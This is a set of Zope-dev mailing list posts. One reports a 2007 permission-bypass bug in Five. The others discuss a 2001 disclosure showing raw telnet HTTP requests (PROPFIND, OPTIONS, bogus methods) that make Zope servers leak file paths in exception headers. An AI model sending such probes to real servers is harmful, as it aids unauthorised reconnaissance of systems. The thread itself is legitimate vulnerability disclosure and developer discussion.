[Zope-dev] vulnerability in zope 2.10.4
hi, imho i've found a vulnerability in zope 2.10.4 or rather in the newer version of five (1.5.5) used by it. in `Five/browser/ pagetemplatefile.py` in line 27 `createTrustedZopeEngine` is used the instantiate the page template engine used by five templates, or at least this is what i think it does. the problem with this is that `trustedBoboAwareZopeTraverse` (in `PageTemplates/Expressions.py`) gets used to traverse path-expressions using `unrestrictedTraverse` (line 100), which means that i can access say the title of an otherwise private object with a simple "obj/Title". i ran into this when one of my doctests[1] failed after upgrading from zope 2.10.3 to 2.10.4, because it could now access the title, even though permissions are explicitly set up beforehand to prevent this. using `createZopeEngine` instead of `createTrustedZopeEngine` didn't help with the test, unfortunately, since this would then raise an `Unauthorized` right away when rendering the `folder_contents` view. however, if i defer resetting the roles of the test user to just before the "click" on 'Delete' (line 35 in the test), the test works again... i've also just verified this ttw by creating a simple five view and a "file" object. i can successfully access the "title" attribute using the view, even though "view" and "access contents information" permissions are set up so only the "manager" role can access the object. dropping in zope 2.10.3 things work as expected, that is an `Unauthorized` exception is raised. so, unless i'm completely wrong here, i'd say this is a pretty serious security whole, no? cheers, andi [1] http://dev.plone.org/plone/browser/plone.app.linkintegrity/trunk/ plone/app/linkintegrity/docs/testReferalToPrivateFiles.txt?rev=16003 -- zeidler it consulting - http://zitc.de/ - [EMAIL PROTECTED] friedelstraße 31 - 12047 berlin - telefon +49 30 25563779 pgp key at http://zitc.de/pgp - http://wwwkeys.de.pgp.net/ sprint with us! - http://plone.org/events/sprints/potsdam-sprint-2007 PGP.sig Description: This is a digitally signed message part ___ Zope-Dev maillist - Zope-Dev@zope.org http://mail.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
On Sun, 2001-09-23 at 17:00, Andy McKay wrote: > > [snip] > Haven't we been complaining about this automatic appending of tracebacks for > a while? To me this is what log files are for but Im not sure what this > guy is on. I wouldnt count this as a "security vulnerability". Hmm. It's 'side-band' information. Assuming that a cracker could get arbitrary code to run on the server through some other vulnerability (say a buffer overflow in some daemon), this information could be exploited to make their attack on the Zope installation more targeted. All this is assuming that the cracker in question is very clever, and has something in mind that is more subtle that simply shutting the server down, because if they can get arbitrary code to run on the server, it's toast anyway. An example of a subtle attack would be re-writing an e-commerce product so that any credit-card information would get silently copied and forwarded elsewhere. In short, the principle here is that *given* that some other vulnerability could give a cracker access to the server in some way, you still don't want to give them any more information on the server configuration than you have to. Michael Bernstein. ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
seb bacon wrote: > > * Andy McKay <[EMAIL PROTECTED]> [010924 01:11]: > > Haven't we been complaining about this automatic appending of tracebacks for > > a while? To me this is what log files are for but Im not sure what this > > guy is on. I wouldnt count this as a "security vulnerability". > > It's not an exploitable vulnerability (which is the only sort of > vulnerability in my book ;) but it's as ugly as a warthog, and it would > be nice to arrange things more gracefully. I just had a _really_ bad attack of Deja Vu reading this thread :-S Chris ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
* Andy McKay <[EMAIL PROTECTED]> [010924 01:11]: > Haven't we been complaining about this automatic appending of tracebacks for > a while? To me this is what log files are for but Im not sure what this > guy is on. I wouldnt count this as a "security vulnerability". It's not an exploitable vulnerability (which is the only sort of vulnerability in my book ;) but it's as ugly as a warthog, and it would be nice to arrange things more gracefully. seb > > - Original Message - > From: "Chris Withers" <[EMAIL PROTECTED]> > To: "Paul Everitt" <[EMAIL PROTECTED]>; "ALife" <[EMAIL PROTECTED]> > Cc: <[EMAIL PROTECTED]> > Sent: Sunday, September 23, 2001 10:44 AM > Subject: Re: [Zope-dev] Vulnerability in Zope > > > > > Do others consider this a vulnerability? > > > > Yup... especially given the hard-coded (sigh) error page returned for > > authentication error gives out this information :-( > > > > Chris > > ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
Haven't we been complaining about this automatic appending of tracebacks for a while? To me this is what log files are for but Im not sure what this guy is on. I wouldnt count this as a "security vulnerability". - Original Message - From: "Chris Withers" <[EMAIL PROTECTED]> To: "Paul Everitt" <[EMAIL PROTECTED]>; "ALife" <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]> Sent: Sunday, September 23, 2001 10:44 AM Subject: Re: [Zope-dev] Vulnerability in Zope > > Do others consider this a vulnerability? > > Yup... especially given the hard-coded (sigh) error page returned for > authentication error gives out this information :-( > > Chris > > > > ___ > Zope-Dev maillist - [EMAIL PROTECTED] > http://lists.zope.org/mailman/listinfo/zope-dev > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope ) > ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
> Do others consider this a vulnerability? Yup... especially given the hard-coded (sigh) error page returned for authentication error gives out this information :-( Chris ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
On Sun, Sep 23, 2001 at 10:36:33AM -0400, Paul Everitt wrote: > > Do others consider this a vulnerability? While it reveals more > information than people might want, I'm curious about scenarios under > which it could be exploited. > > If any of you know of something *specific*, meaning it's a genuinely > exploitable vulnerability, please email me or Brian Lloyd > ([EMAIL PROTECTED]) directly, rather than explain to the world how to do it. > ... > ... > > Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/OFS/Property Think about social engeniering. Knowing this sort of things, while this is not a vulnerability in itself, allows everybody to remotely know were Data.fs is. bye, Jerome Alet ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
Re: [Zope-dev] Vulnerability in Zope
Do others consider this a vulnerability? While it reveals more information than people might want, I'm curious about scenarios under which it could be exploited. If any of you know of something *specific*, meaning it's a genuinely exploitable vulnerability, please email me or Brian Lloyd ([EMAIL PROTECTED]) directly, rather than explain to the world how to do it. --Paul ALife wrote: > Found vulnerability: retrieve a full path to local files in Zope. > > ---[ Example 1 (Linux): > > telnet www.zope.org 80 > > PROPFIND / HTTP/1.0 > > F > G > H > J > K > L > HTTP/1.0 500 Internal Server Error > Server: Zope/Zope 2.3.2 (source release, python 1.5.2, linux2) ZServer/1.1b1 > Date: Mon, 10 Sep 2001 15:38:59 GMT > Content-Length: 7058 > Ms-Author-Via: DAV > Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/OFS/Property > Sheets.py > Bobo-Exception-Type: TypeError > Content-Length: 7058 > Ms-Author-Via: DAV > Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/OFS/Property > Sheets.py > Bobo-Exception-Type: TypeError > Content-Type: text/html > Bobo-Exception-Value: EN" "http://www.w3.org/TR/REC-html40/loose.dtd";> Welcome > to Zope.org http://www.zope.org/zope_css"; > type="text/css"> Bobo-Exception-Line: 369 > > > ... > > > > Host has closed connection. > > ---[ Example 2 (Linux): > telnet www.zope.com 80 > > / HTTP/1.0 > or NOTREALCOMMAND / HTTP/1.0 > > > HTTP/1.0 404 Not Found > Server: Zope/Zope 2.3.2 (source release, python 1.5.2, linux2) ZServer/1.1b1 > Date: Fri, 21 Sep 2001 12:51:48 GMT > Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/ZPublisher/H > TTPResponse.py > Content-Type: text/html > Bobo-Exception-Type: NotFound > Bobo-Exception-Value: EN" "http://www.w3.org/TR/REC-html40/loose.dtd";> Welcome > to Zope.org http://www.zope.org/zope_css"; > type="text/css"> Content-Length: 5845 > Bobo-Exception-Line: 547 > > < ... > > > > Host has closed connection. > > > ---[ Example 3 (Win32): > > OPTIONS / HTTP/1.0 > or NOTREALCOMMAND / HTTP/1.0 > > HTTP/1.0 404 Not Found > Server: Zope/Zope 2.3.2 (binary release, python 1.5.2, win32-x86) ZServer/1.1b1 > Date: Mon, 10 Sep 2001 15:06:43 GMT > Bobo-Exception-File: D:\INSTOC~1\lib\python\webdav\NullResource.py > Bobo-Exception-Type: Not Found > Content-Type: text/html > Location: http://SERVERNAME > Bobo-Exception-Value: bobo exception > Content-Length: 756 > Bobo-Exception-Line: 122 > > :: > > Îøèáêà! > Î > øèáêà ïðè ïîïûòêå îïóáëèêîâàòü ðåñóðñ. > > > > Host has closed connection. > > > ___ > Zope-Dev maillist - [EMAIL PROTECTED] > http://lists.zope.org/mailman/listinfo/zope-dev > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope ) > ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
[Zope-dev] Vulnerability in Zope
Found vulnerability: retrieve a full path to local files in Zope. ---[ Example 1 (Linux): telnet www.zope.org 80 PROPFIND / HTTP/1.0 F G H J K L HTTP/1.0 500 Internal Server Error Server: Zope/Zope 2.3.2 (source release, python 1.5.2, linux2) ZServer/1.1b1 Date: Mon, 10 Sep 2001 15:38:59 GMT Content-Length: 7058 Ms-Author-Via: DAV Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/OFS/Property Sheets.py Bobo-Exception-Type: TypeError Content-Length: 7058 Ms-Author-Via: DAV Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/OFS/Property Sheets.py Bobo-Exception-Type: TypeError Content-Type: text/html Bobo-Exception-Value: http://www.w3.org/TR/REC-html40/loose.dtd";> Welcome to Zope.org http://www.zope.org/zope_css"; type="text/css"> Host has closed connection. ---[ Example 2 (Linux): telnet www.zope.com 80 / HTTP/1.0 or NOTREALCOMMAND / HTTP/1.0 HTTP/1.0 404 Not Found Server: Zope/Zope 2.3.2 (source release, python 1.5.2, linux2) ZServer/1.1b1 Date: Fri, 21 Sep 2001 12:51:48 GMT Bobo-Exception-File: /usr/local/base/Zope-2.3.2-modified/lib/python/ZPublisher/H TTPResponse.py Content-Type: text/html Bobo-Exception-Type: NotFound Bobo-Exception-Value: http://www.w3.org/TR/REC-html40/loose.dtd";> Welcome to Zope.org http://www.zope.org/zope_css"; type="text/css"> Host has closed connection. ---[ Example 3 (Win32): OPTIONS / HTTP/1.0 or NOTREALCOMMAND / HTTP/1.0 HTTP/1.0 404 Not Found Server: Zope/Zope 2.3.2 (binary release, python 1.5.2, win32-x86) ZServer/1.1b1 Date: Mon, 10 Sep 2001 15:06:43 GMT Bobo-Exception-File: D:\INSTOC~1\lib\python\webdav\NullResource.py Bobo-Exception-Type: Not Found Content-Type: text/html Location: http://SERVERNAME Bobo-Exception-Value: bobo exception Content-Length: 756 Bobo-Exception-Line: 122 :: Îøèáêà! Î øèáêà ïðè ïîïûòêå îïóáëèêîâàòü ðåñóðñ. Host has closed connection. ___ Zope-Dev maillist - [EMAIL PROTECTED] http://lists.zope.org/mailman/listinfo/zope-dev ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope )
